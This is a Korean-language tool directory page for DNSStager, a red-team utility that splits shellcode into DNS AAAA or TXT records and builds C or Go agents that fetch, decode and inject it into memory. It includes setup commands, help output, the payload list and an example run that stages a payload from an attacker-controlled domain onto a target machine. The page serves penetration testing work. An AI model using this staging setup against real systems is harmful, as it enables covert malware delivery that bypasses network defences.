Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/mhaskar/dnsstager
Payload GenerationExploitationCommand and ControlRed TeamingPayload DevelopmentDNS Analysis
GitHubmhaskar/dnsstager

DNSStager

DNS에 페이로드를 숨기세요

저장소 보기
6221333년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

DNSStager란 무엇인가?

DNSStager는 DNS를 사용하여 페이로드를 숨기고 전송하는 데 사용되는 Python 기반의 오픈 소스 프로젝트입니다.

DNSStager는 악성 DNS 서버를 생성하여 도메인에 대한 DNS 요청을 처리하고, 페이로드를 청크로 분할하고 다양한 알고리즘을 사용하여 인코딩한 후 AAAA 또는 TXT 레코드와 같은 특정 레코드 요청에 대한 응답으로 페이로드를 반환합니다.

DNSStager는 C 또는 GoLang으로 작성된 사용자 지정 에이전트를 생성할 수 있으며, 이 에이전트는 일련의 도메인을 확인하고, 페이로드를 검색하고, 디코딩한 후 원하는 기술을 기반으로 메모리에 주입합니다.

DNSStager 에이전트의 코드를 원하는 대로 편집하고 자신만의 맞춤형 실행 기술을 사용하여 빌드할 수 있습니다.

DNSStager를 사용하는 주요 목표는 레드 팀/침투 테스터가 DNS를 사용하여 은밀한 채널로 페이로드를 전달할 수 있도록 돕는 것입니다.

작동 방식은?

DNS 확인 옵션에 따라 DNSStager는 페이로드를 청크로 분할하고 각 페이로드 청크를 서브도메인에 대한 응답으로 저장합니다.

예를 들어, 페이로드를 검색하기 위해 IPV6 옵션을 선택하면 DNS 응답은 다음과 같이 됩니다:

cloud-srv-1.test.mydnsserver.live. 300 IN AAAA 5648:31d2:6548:8b52:6048:8b52:1848:8b52

여기서 5648:31d2:6548:8b52:6048:8b52:1848:8b52는 페이로드의 일부입니다.

따라서 에이전트는 일부 도메인을 확인하여 페이로드를 검색한 후 디코딩하고 최종적으로 메모리에 주입합니다.

현재 DNSStager는 AAAA 및 TXT 두 가지 레코드만 지원합니다. AAAA 레코드의 경우 XOR을 사용하여 페이로드를 인코딩할 수 있으며, TXT 레코드를 선택하면 기본적으로 base64로 인코딩됩니다.

DNSStager 주요 기능:

DNSStager에는 다음과 같은 주요 기능이 있습니다:

  • IPV6 레코드에서 페이로드를 숨기고 확인합니다.
  • TXT 레코드에서 페이로드를 숨기고 확인합니다.
  • XOR 인코더를 사용하여 페이로드를 인코딩합니다.
  • Base64 인코더를 사용하여 페이로드를 인코딩합니다 (TXT 레코드만 해당).
  • C로 작성된 순수 에이전트, 사용자 지정 가능.
  • GoLang으로 작성된 순수 에이전트, 사용자 지정 가능.
  • 각 DNS 요청 사이에 지연(sleep)을 사용할 수 있습니다.
  • 그리고 더 많은 기능이 곧 추가됩니다!

요구 사항

다음을 통해 DNSStager Python 요구 사항을 설치할 수 있습니다:

pip3 install -r requirements.txt

GoLang 버전 1.16.3을 설치하고 다음 GoLang 패키지를 설치해야 합니다:

  • golang.org/x/sys
  • github.com/miekg/dns

또한 다음을 통해 ming-w64를 설치해야 합니다:

apt install mingw-w64

setup.sh 스크립트가 이를 처리해야 하지만, 사용하기 전에 요구 사항을 다시 확인하세요!

설치

최신 버전의 DNSStager를 얻으려면 다음 명령을 사용하여 이 저장소에서 클론하세요:

git clone https://github.com/mhaskar/DNSStager

그런 다음 다음 명령을 사용하여 요구 사항을 설치해야 합니다:

pip3 install -r requirements.txt

그리고 앞서 언급한 모든 요구 사항도 설치해야 합니다.

모든 작업을 완료한 후 root로 DNSStager를 실행하여 다음을 확인할 준비가 되었습니다:

root@kitploit:~
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py                                                                                                                 

    
                                                                                          
                                                                                          
██████  ███    ██ ███████ ███████ ████████  █████   ██████  ███████ ██████  
██   ██ ████   ██ ██      ██         ██    ██   ██ ██       ██      ██   ██ 
██   ██ ██ ██  ██ ███████ ███████    ██    ███████ ██   ███ █████   ██████  
██   ██ ██  ██ ██      ██      ██    ██    ██   ██ ██    ██ ██      ██   ██ 
██████  ██   ████ ███████ ███████    ██    ██   ██  ██████  ███████ ██   ██ 
                                                                            
                                                                                                                                                            
                                                                                              

    Stable v1.0                           Hide your payload in DNS
    
[-] Please specify a domain name using --domain

사용법

DNSStager 사용을 시작하려면 먼저 DNS 설정을 구성해야 합니다. 도메인에 대한 모든 DNS 요청을 처리하려면 NS 레코드로 도메인이 DNSStager 인스턴스를 가리키도록 해야 합니다.

DNSStager 설정 및 사용 방법에 대한 전체 문서는 이 문서에서 확인할 수 있습니다.

그리고 다음과 같이 -h 스위치를 사용하여 옵션을 확인할 수 있습니다:

root@kitploit:~
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py -h                                                                                                         
usage: dnsstager.py [-h] [--domain DOMAIN] [--payloads] [--prefix PREFIX] [--payload PAYLOAD] [--output OUTPUT] [--shellcode_path SHELLCODE_PATH] [--xorkey XORKEY] [--sleep SLEEP]
                    [--format FORMAT]

DNSStager main parser

optional arguments:
  -h, --help            show this help message and exit
  --domain DOMAIN       The domain you want to use as staging host
  --payloads            show all payloads
  --prefix PREFIX       Prefix to use as part of your subdomain schema
  --payload PAYLOAD     Payload to use, see --payloads for more details
  --output OUTPUT       Agent output path
  --shellcode_path SHELLCODE_PATH
                        Shellcode file path
  --xorkey XORKEY       XOR key to encode your payload with
  --sleep SLEEP         sleep for N seconds between each DNS request
  --format FORMAT       payload format (.dll or .exe)
  --tcp                 Start and use the DNS server via TCP protocol
  • --domain: DNS 요청을 처리하기 위해 사용할 기본 도메인을 선택하는 옵션입니다.

  • --prefix: 서브도메인 스키마에 사용할 접두사입니다. 예를 들어, 기본 도메인이 fakedns.live인 경우 접두사를 "cdn"으로 지정할 수 있습니다. 그러면 생성된 도메인은 다음과 같은 패턴이 됩니다:

    • cdn0.fakedns.live
    • cdn1.fakedns.live
    • cdnN.fakedns.live

여기서 N은 페이로드 청크 수를 나타내는 자동 생성 번호입니다.

  • --payload: 기술, 프로그래밍 언어 및 아키텍처를 기반으로 생성할 DNSStager 페이로드 "에이전트"입니다.

  • --output: DNSStager 실행 가능 페이로드 "에이전트"를 저장할 출력 경로입니다.

  • --shellcode_path: raw/bin 셸코드 경로입니다.

  • --xorkey: 페이로드를 인코딩할 XOR 키입니다.

  • --sleep: 각 DNS 요청 사이에 N초 동안 지연(sleep)하는 데 사용됩니다.

  • --tcp: TCP 프로토콜을 통해 DNS 서버를 시작하고 사용합니다.

DNSStager 페이로드

사용 가능한 DNSStager 페이로드를 확인하려면 ./dnsstager.py --payloads를 사용하여 다음 결과를 얻을 수 있습니다:

root@kitploit:~
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py --payloads                                                                                                

[+] 6 DNSStager payloads Available

x64/c/ipv6			Resolve your payload as IPV6 addresses xored with custom key via compiled x64 C code
x86/c/ipv6			Resolve your payload as IPV6 addresses xored with custom key via compiled x86 C code
x64/golang/txt			Resolve your payload as TXT records encoded using base64 compiled x64 GoLang code
x64/golang/ipv6			Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x64 GoLang code
x86/golang/txt			Resolve your payload as TXT records encoded using base64 compiled x86 GoLang code
x86/golang/ipv6			Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x86 GoLang code

IPV6와 함께 DNSStager 사용 예

이 예제는 DNSStager를 시작하여 도메인 test.mydnsserver.live와 접두사 cloud-srv-를 사용하여 페이로드를 IPV6로 확인하고, 키로 0x10으로 인코딩된 컴파일된 x64 C 에이전트를 생성합니다:

sudo ./dnsstager.py --domain test.mydnsserver.live --payload x64/c/ipv6 --output /tmp/a2.exe --prefix cloud-srv- --shellcode_path ~/payload.bin --sleep 1 --xorkey 0x10

그러면 출력은 다음과 같습니다:

Alt text

그리고 모든 것이 잘 작동하는지 확인하기 위해 DNS 쿼리를 cloud-srv-0.test.mydnsserver.live로 보내 다음을 확인합니다:

Alt text

인코딩된 페이로드의 첫 16바이트인 f642:89ee:fae2:c20a:a0a:4b5b:4b5a:585b를 응답으로 받은 것을 확인할 수 있습니다.

그런 다음 대상 머신에서 에이전트 /tmp/a2.exe(명령줄에서 --output으로 설정된 대로)를 실행하면 필요한 모든 청크를 다운로드하고 디코딩한 후 메모리에 주입합니다.

참고 자료

  • DNSStager v1.0 안정화: 더욱 은밀한 코드, DLL 에이전트 등.
  • DNSStager 공개: DNS에서 페이로드를 숨기는 도구.

라이선스

이 프로젝트는 GPL-3.0 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.

도구 다운로드